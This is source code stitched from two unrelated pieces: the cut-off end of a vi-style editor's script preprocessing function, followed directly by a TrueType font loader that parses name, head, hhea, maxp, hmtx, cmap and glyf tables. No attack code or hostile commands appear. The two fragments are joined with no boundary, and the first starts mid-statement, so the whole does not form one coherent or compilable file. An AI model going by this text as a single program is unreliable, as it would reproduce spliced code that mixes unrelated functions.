CurrentSrcData ); } /* * set all other tokens to be processed at run time */ } else { #ifndef VICOMP if( EditFlags.ScriptIsCompiled ) { RemoveLeadingSpaces( tmp ); genItem( token, tmp ); continue; } #endif if( !AppendingFlag ) { token = Tokenize( TokensCmdLine, tmp2, TRUE ); } else { token = TOK_INVALID; } switch( token ) { case PCL_T_COMMANDWINDOW: case PCL_T_STATUSWINDOW: case PCL_T_COUNTWINDOW: case PCL_T_EDITWINDOW: case PCL_T_EXTRAINFOWINDOW: case PCL_T_FILECWINDOW: case PCL_T_LINENUMBERWINDOW: case PCL_T_DIRWINDOW: case PCL_T_FILEWINDOW: case PCL_T_SETWINDOW: case PCL_T_SETVALWINDOW: case PCL_T_MESSAGEWINDOW: case PCL_T_MENUWINDOW: case PCL_T_MENUBARWINDOW: case PCL_T_ENDWINDOW: case PCL_T_SETCOLOR: case PCL_T_MATCH: case PCL_T_DIMENSION: case PCL_T_BORDER: case PCL_T_HILIGHT: case PCL_T_TEXT: case PCL_T_ALIAS: case PCL_T_ABBREV: case PCL_T_MENU: case PCL_T_MENUITEM: case PCL_T_ENDMENU: case PCL_T_WHITESPACE: case PCL_T_SELECTION: case PCL_T_EOFTEXT: case PCL_T_KEYWORD: case PCL_T_OCTAL: case PCL_T_HEX: case PCL_T_INTEGER: case PCL_T_CHAR: case PCL_T_PREPROCESSOR: case PCL_T_SYMBOL: case PCL_T_INVALIDTEXT: case PCL_T_IDENTIFIER: case PCL_T_JUMPLABEL: case PCL_T_COMMENT: case PCL_T_FLOAT: case PCL_T_STRING: case PCL_T_VARIABLE: case PCL_T_FILETYPESOURCE: case PCL_T_ENDFILETYPESOURCE: case PCL_T_LOCATE: case PCL_T_MAP: case PCL_T_MAP_DMT: case PCL_T_MENUFILELIST: case PCL_T_MENULASTFILES: case PCL_T_DEFAULTWINDOW: case PCL_T_ACTIVEMENUWINDOW: case PCL_T_GREYEDMENUWINDOW: case PCL_T_ACTIVEGREYEDMENUWINDOW: RemoveLeadingSpaces( tmp ); token += SRC_T_NULL + 1; genItem( token, tmp ); break; case PCL_T_SET: token += SRC_T_NULL + 1; #ifdef VICOMP WorkLine->data[0] = 0; Set( tmp ); genItem( token, WorkLine->data ); #else if( EditFlags.CompileScript ) { vi_rc rc; WorkLine->data[0] = 0; rc = Set( tmp ); if( rc != ERR_NO_ERR ) { Error( GetErrorMsg( rc ) ); } genItem( token, WorkLine->data ); } else { genItem( token, tmp ); } #endif break; default: if( AppendingFlag ) { if( tmp3[0] == '.' && tmp3[1] == 0 ) { AppendingFlag = FALSE; } } else if( token == TOK_INVALID ) { /* * see if the current token is a Ex token. If * it isn't, then see if the next one is * (i.e., look for <n> append) */ token = Tokenize( TokensEx, tmp2, FALSE ); if( token == TOK_INVALID ) { if( NextWord1( tmp, tmp2 ) >= 0 ) { token = Tokenize( TokensEx, tmp2, FALSE ); if( token == EX_T_APPEND ) { AppendingFlag = TRUE; } } } } if( tmp3[0] == '>' ) { tmp3[0] = ' '; } genItem( TOK_INVALID, tmp3 ); break; } } } SpecialFclose( &gf ); AppendingFlag = FALSE; return( CSFini() ); } /* PreProcess */
//----------------------------------------------------------------------------- // Load a TrueType font into memory. We care about the curves that define // the letter shapes, and about the mappings that determine which glyph goes // with which character. //----------------------------------------------------------------------------- bool TtfFont::LoadFontFromFile(bool nameOnly) { if(loaded) return true; int i; fh = fopen(fontFile, "rb"); if(!fh) { return false; } try { // First, load the Offset Table DWORD version = GetDWORD(); WORD numTables = GetWORD(); WORD searchRange = GetWORD(); WORD entrySelector = GetWORD(); WORD rangeShift = GetWORD(); // Now load the Table Directory; our goal in doing this will be to // find the addresses of the tables that we will need. DWORD glyfAddr = -1, glyfLen; DWORD cmapAddr = -1, cmapLen; DWORD headAddr = -1, headLen; DWORD locaAddr = -1, locaLen; DWORD maxpAddr = -1, maxpLen; DWORD nameAddr = -1, nameLen; DWORD hmtxAddr = -1, hmtxLen; DWORD hheaAddr = -1, hheaLen; for(i = 0; i < numTables; i++) { char tag[5] = "xxxx"; tag[0] = GetBYTE(); tag[1] = GetBYTE(); tag[2] = GetBYTE(); tag[3] = GetBYTE(); DWORD checksum = GetDWORD(); DWORD offset = GetDWORD(); DWORD length = GetDWORD(); if(strcmp(tag, "glyf")==0) { glyfAddr = offset; glyfLen = length; } else if(strcmp(tag, "cmap")==0) { cmapAddr = offset; cmapLen = length; } else if(strcmp(tag, "head")==0) { headAddr = offset; headLen = length; } else if(strcmp(tag, "loca")==0) { locaAddr = offset; locaLen = length; } else if(strcmp(tag, "maxp")==0) { maxpAddr = offset; maxpLen = length; } else if(strcmp(tag, "name")==0) { nameAddr = offset; nameLen = length; } else if(strcmp(tag, "hhea")==0) { hheaAddr = offset; hheaLen = length; } else if(strcmp(tag, "hmtx")==0) { hmtxAddr = offset; hmtxLen = length; } } if(glyfAddr == -1 || cmapAddr == -1 || headAddr == -1 || locaAddr == -1 || maxpAddr == -1 || hmtxAddr == -1 || nameAddr == -1 || hheaAddr == -1) { throw "missing table addr"; } // Load the name table. This gives us display names for the font, which // we need when we're giving the user a list to choose from. fseek(fh, nameAddr, SEEK_SET); WORD nameFormat = GetWORD(); WORD nameCount = GetWORD(); WORD nameStringOffset = GetWORD(); // And now we're at the name records. Go through those till we find // one that we want. int displayNameOffset, displayNameLength; for(i = 0; i < nameCount; i++) { WORD platformID = GetWORD(); WORD encodingID = GetWORD(); WORD languageID = GetWORD(); WORD nameId = GetWORD(); WORD length = GetWORD(); WORD offset = GetWORD(); if(nameId == 4) { displayNameOffset = offset; displayNameLength = length; break; } } if(nameOnly && i >= nameCount) { throw "no name"; } if(nameOnly) { // Find the display name, and store it in the provided buffer. fseek(fh, nameAddr+nameStringOffset+displayNameOffset, SEEK_SET); int c = 0; for(i = 0; i < displayNameLength; i++) { BYTE b = GetBYTE(); if(b && c < (sizeof(name.str) - 2)) { name.str[c++] = b; } } name.str[c++] = '\0'; fclose(fh); return true; } // Load the head table; we need this to determine the format of the // loca table, 16- or 32-bit entries fseek(fh, headAddr, SEEK_SET); DWORD headVersion = GetDWORD(); DWORD headFontRevision = GetDWORD(); DWORD headCheckSumAdj = GetDWORD(); DWORD headMagicNumber = GetDWORD(); WORD headFlags = GetWORD(); WORD headUnitsPerEm = GetWORD(); (void)GetDWORD(); // created time (void)GetDWORD(); (void)GetDWORD(); // modified time (void)GetDWORD(); WORD headXmin = GetWORD(); WORD headYmin = GetWORD(); WORD headXmax = GetWORD(); WORD headYmax = GetWORD(); WORD headMacStyle = GetWORD(); WORD headLowestRecPPEM = GetWORD(); WORD headFontDirectionHint = GetWORD(); WORD headIndexToLocFormat = GetWORD(); WORD headGlyphDataFormat = GetWORD(); if(headMagicNumber != 0x5F0F3CF5) { throw "bad magic number"; } // Load the hhea table, which contains the number of entries in the // horizontal metrics (hmtx) table. fseek(fh, hheaAddr, SEEK_SET); DWORD hheaVersion = GetDWORD(); WORD hheaAscender = GetWORD(); WORD hheaDescender = GetWORD(); WORD hheaLineGap = GetWORD(); WORD hheaAdvanceWidthMax = GetWORD(); WORD hheaMinLsb = GetWORD(); WORD hheaMinRsb = GetWORD(); WORD hheaXMaxExtent = GetWORD(); WORD hheaCaretSlopeRise = GetWORD(); WORD hheaCaretSlopeRun = GetWORD(); WORD hheaCaretOffset = GetWORD(); (void)GetWORD(); (void)GetWORD(); (void)GetWORD(); (void)GetWORD(); WORD hheaMetricDataFormat = GetWORD(); WORD hheaNumberOfMetrics = GetWORD(); // Load the maxp table, which determines (among other things) the number // of glyphs in the font fseek(fh, maxpAddr, SEEK_SET); DWORD maxpVersion = GetDWORD(); WORD maxpNumGlyphs = GetWORD(); WORD maxpMaxPoints = GetWORD(); WORD maxpMaxContours = GetWORD(); WORD maxpMaxComponentPoints = GetWORD(); WORD maxpMaxComponentContours = GetWORD(); WORD maxpMaxZones = GetWORD(); WORD maxpMaxTwilightPoints = GetWORD(); WORD maxpMaxStorage = GetWORD(); WORD maxpMaxFunctionDefs = GetWORD(); WORD maxpMaxInstructionDefs = GetWORD(); WORD maxpMaxStackElements = GetWORD(); WORD maxpMaxSizeOfInstructions = GetWORD(); WORD maxpMaxComponentElements = GetWORD(); WORD maxpMaxComponentDepth = GetWORD(); glyphs = maxpNumGlyphs; glyph = (Glyph *)MemAlloc(glyphs*sizeof(glyph[0])); // Load the hmtx table, which gives the horizontal metrics (spacing // and advance width) of the font. fseek(fh, hmtxAddr, SEEK_SET); WORD hmtxAdvanceWidth; SWORD hmtxLsb; for(i = 0; i < min(glyphs, hheaNumberOfMetrics); i++) { hmtxAdvanceWidth = GetWORD(); hmtxLsb = (SWORD)GetWORD(); glyph[i].leftSideBearing = hmtxLsb; glyph[i].advanceWidth = hmtxAdvanceWidth; } // The last entry in the table applies to all subsequent glyphs also. for(; i < glyphs; i++) { glyph[i].leftSideBearing = hmtxLsb; glyph[i].advanceWidth = hmtxAdvanceWidth; } // Load the cmap table, which determines the mapping of characters to // glyphs. fseek(fh, cmapAddr, SEEK_SET); DWORD usedTableAddr = -1; WORD cmapVersion = GetWORD(); WORD cmapTableCount = GetWORD(); for(i = 0; i < cmapTableCount; i++) { WORD platformId = GetWORD(); WORD encodingId = GetWORD(); DWORD offset = GetDWORD(); if(platformId == 3 && encodingId == 1) { // The Windows Unicode mapping is our preference usedTableAddr = cmapAddr + offset; } } if(usedTableAddr == -1) { throw "no used table addr"; } // So we can load the desired subtable; in this case, Windows Unicode, // which is us. fseek(fh, usedTableAddr, SEEK_SET); WORD mapFormat = GetWORD(); WORD mapLength = GetWORD(); WORD mapVersion = GetWORD(); WORD mapSegCountX2 = GetWORD(); WORD mapSearchRange = GetWORD(); WORD mapEntrySelector = GetWORD(); WORD mapRangeShift = GetWORD(); if(mapFormat != 4) { // Required to use format 4 per spec throw "not format 4"; } int segCount = mapSegCountX2 / 2; WORD *endChar = (WORD *)AllocTemporary(segCount*sizeof(WORD)); WORD *startChar = (WORD *)AllocTemporary(segCount*sizeof(WORD)); WORD *idDelta = (WORD *)AllocTemporary(segCount*sizeof(WORD)); WORD *idRangeOffset = (WORD *)AllocTemporary(segCount*sizeof(WORD)); DWORD *filePos = (DWORD *)AllocTemporary(segCount*sizeof(DWORD)); for(i = 0; i < segCount; i++) { endChar[i] = GetWORD(); } WORD mapReservedPad = GetWORD(); for(i = 0; i < segCount; i++) { startChar[i] = GetWORD(); } for(i = 0; i < segCount; i++) { idDelta[i] = GetWORD(); } for(i = 0; i < segCount; i++) { filePos[i] = ftell(fh); idRangeOffset[i] = GetWORD(); } // So first, null out the glyph table in our in-memory representation // of the font; any character for which cmap does not provide a glyph // corresponds to -1 for(i = 0; i < arraylen(useGlyph); i++) { useGlyph[i] = 0; } for(i = 0; i < segCount; i++) { WORD v = idDelta[i]; if(idRangeOffset[i] == 0) { int j; for(j = startChar[i]; j <= endChar[i]; j++) { if(j > 0 && j < arraylen(useGlyph)) { // Don't create a reference to a glyph that we won't // store because it's bigger than the table. if((WORD)(j + v) < glyphs) { // Arithmetic is modulo 2^16 useGlyph[j] = (WORD)(j + v); } } } } else { int j; for(j = startChar[i]; j <= endChar[i]; j++) { if(j > 0 && j < arraylen(useGlyph)) { int fp = filePos[i]; fp += (j - startChar[i])*sizeof(WORD); fp += idRangeOffset[i]; fseek(fh, fp, SEEK_SET); useGlyph[j] = GetWORD(); } } } } // Load the loca table. This contains the offsets of each glyph, // relative to the beginning of the glyf table. fseek(fh, locaAddr, SEEK_SET); DWORD *glyphOffsets = (DWORD *)AllocTemporary(glyphs*sizeof(DWORD)); for(i = 0; i < glyphs; i++) { if(headIndexToLocFormat == 1) { // long offsets, 32 bits glyphOffsets[i] = GetDWORD(); } else if(headIndexToLocFormat == 0) { // short offsets, 16 bits but divided by 2 glyphOffsets[i] = GetWORD()*2; } else { throw "bad headIndexToLocFormat"; } } scale = 1024; // Load the glyf table. This contains the actual representations of the // letter forms, as piecewise linear or quadratic outlines. for(i = 0; i < glyphs; i++) { fseek(fh, glyfAddr + glyphOffsets[i], SEEK_SET); LoadGlyph(i); } } catch (char *s) { dbp("failed: '%s'", s); fclose(fh); return false; } fclose(fh); loaded = true; return true; }